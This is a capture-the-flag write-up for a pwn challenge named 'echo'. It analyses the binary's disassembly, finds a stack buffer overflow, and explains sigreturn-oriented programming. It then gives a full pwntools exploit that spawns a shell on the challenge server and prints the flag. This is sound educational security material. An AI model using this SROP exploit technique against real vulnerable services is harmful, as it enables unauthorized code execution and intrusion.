Echo

Recon

Let’s see what checksec has to say about this challenge:

$ checksec --file=./echo 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
No RELRO        No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   8) Symbols        No    0               0               ./echo

It looks like there’s not a whole lot of mitigations enabled in this binary. After firing up cutter and analyzing the binary we find that it’s not even linked against libc. After taking a look at the code we find that it’s pretty short as well:

;-- echo:
0x00401000      push    rbp        ; [01] -r-x section size 78 named .text
0x00401001      mov     rbp, rsp
0x00401004      sub     rsp, 0x300

		; uint64_t read = read(0, rsp + 0x180, 0x300)
0x0040100b      mov     eax, 0
0x00401010      mov     edi, 0
0x00401015      lea     rsi, [rsp + 0x180]
0x0040101d      mov     edx, 0x300 ; 768
0x00401022      syscall

		; write(1, rsp + 0x180, read)
0x00401024      mov     rdx, rax
0x00401027      mov     eax, 1
0x0040102c      mov     edi, 1
0x00401031      syscall

		; return
0x00401033      leave
0x00401034      ret

		; "/bin/sh" (this is not code, it's just a string
                ;            in the middle of the .text section)
0x00401035      invalid
0x00401036      invalid
0x00401037      imul    ebp, dword [rsi + 0x2f], 0xe8006873
  ;-- _start:
  ;-- rip:
17: entry0 ();
		; echo()
0x0040103d      call    echo

		; exit(0)
0x00401042      mov     eax, 0x3c  ; '<' ; 60
0x00401047      mov     edi, 0
0x0040104c      syscall

; comments added for clarity

The functionality looks pretty clear, this program reads 0x300 characters from stdin, and writes them to stdout. That gets done inside a function called echo, afterwards exit(0) is executed. As a bonus, we get the string "/bin/sh" for free, since it’s hardcoded at address 0x401035 (PIE not being enabled means that that string will always be located at that address, the same goes for any other address within the binary as well).

Now let’s take a closer look at where our input will be stored: looking at the code at 0x401000 through 0x401022 we can notice that 0x300 bytes are reserved in the stack (that’s exactly the amount of bytes that will be read into the buffer). This means that rsp points to a buffer of size 0x300, but read will read 0x300 bytes into rsp + 0x180. In short, we’ve got a buffer overflow here. This means that we can overwrite the rip stored in the stack and ‘return’ to whatever address we want. This all looks pretty nice, except for a small detail: it looks like we’ve got nowhere to jump to. There are no pop gadgets, no csu, nothing.

Exploitation

We’ve identified the vulnerability at play here, but it’s not immediately obvious how we would go about making use of it. Ideally we’d like to invoke execve(0x401035, 0, 0) (given that the string "/bin/sh" is conveniently placed at that address), but we’ve got no way of controlling rdi, rsi or rdx.

We do, however, have a way of controlling rax. Once a call to read or write is made, the amount of read/written bytes is returned in rax. If when echo asks for input, we feed it N bytes, those bytes will be read, then printed, and as a result rax will be equal to N when the function returns. This means we can choose what syscall we want to invoke, but not it’s arguments.

sigreturn, a useful ally

A very interesting syscall is sigreturn, which will just ‘undo’ everything done by the kernel when a signal needs to be handled in a Linux process.

If you’re unfamiliar with Linux signals, you can check out the man page on signals. Pretty quickly, they’re a form of IPC (inter-process communication) in which a program sets up a ‘signal handler’ which will be invoked every time a given signal is received (they can be sent by other programs, or by the kernel itself). Once the signal handler is done doing it’s thing, the entire state of the program needs to be restored from the stack. This is exactly where sigreturn kicks in.

I highly recommend that you check out sigreturn’s man page, but the gist of it is that the entire state of the processor will be restored from the user-space stack. The layout of the stack when calling sigreturn should look like this:

Iamge of stack layout

Image taken from Wikipedia’s article on SigReturn Oriented Programming (SROP)

Keep in mind that in the diagram above, the bottom of the image represents the least significant memory address (that means elements will be ‘popped’ starting from the bottom).

Now, if we fill the stack with a frame like this and then call sigreturn, we could set the value of rax, rdi, rsi, rdx and rip to 0x3b (the syscall number for execve), 0x401035 (the address for "/bin/sh"), 0x0, 0x0 and 0x40104c (the address for a syscall instruction), respectively. Something important to bear in mind, is that this is a lot of data, and is only possible because the buffer overflow is big enough.

Putting it all together

Time for a quick recap of the plan:

  • Feed the program a malicious sigreturn-frame and start a ROP chain.
  • Execute write(1, [whatever], 0xf) so that rax gets set to 0xf.
  • Jump to a syscall instruction (rax is equall to 0xf so it will trigger a call to sigreturn).
  • Our frame will be read from the stack and we’ve got ourselves a shell!

Constructing the frame can be annoying though, luckily pwntools provides us with a function for that.

Here’s the actual exploit:

from pwn import *

context.update(os='linux', arch='amd64')

p = remote('185.172.165.118', 9090)

# Prepare a sigret frame with the desired values
frame = SigreturnFrame(kernel='amd64')
frame.rip = 0x40104c                # rip -> syscall
frame.rdi = 0x401035                # rdi -> "/bin/sh"
frame.rsi = 0x0                     # rsi -> NULL
frame.rdx = 0x0                     # rdx -> NULL
frame.rax = 0x3b                    # rax -> execve

payload = b''
payload += b'A' * (0x300 - 0x180)   # fill the buffer
payload += b'A' * 0x8               # overwrite rbp
payload += p64(0x401000)            # rip -> echo (this will trigger the read and write that
                                    # we talked about earlier. Since we're jumping to the
                                    # first instruction in the function, it will create it's
                                    # own stack frame and then destroy it, so it doesn't affect
                                    # the rest of the exploit)
payload += p64(0x40104c)            # echo.ret -> syscall
payload += bytes(frame)             # sigframe

# Check that our payload fits in the buffer
if len(payload) > 0x300:
    p.error(f'Payload too large ({hex(len(payload))}B)')

# Send the malicious stack
p.send(payload)
p.recv(len(payload))

# echo will be waiting for a second read, let's send
# it 0xf bytes so that rax gets set to that value
p.send(0xf * b'A')
p.recv(0xf)

# Profit
p.interactive()

And here’s the exploit in action:

$ python3 exploit.py
[+] Opening connection to 185.172.165.118 on port 9090: Done
[*] Switching to interactive mode
$ ls
bin
dev
echo
etc
flag.txt
lib
lib32
lib64
libx32
usr
$ cat flag.txt
flag{a2e14ad30c012978fc870c1f529e8156}
$

Post written by @OctavioGalland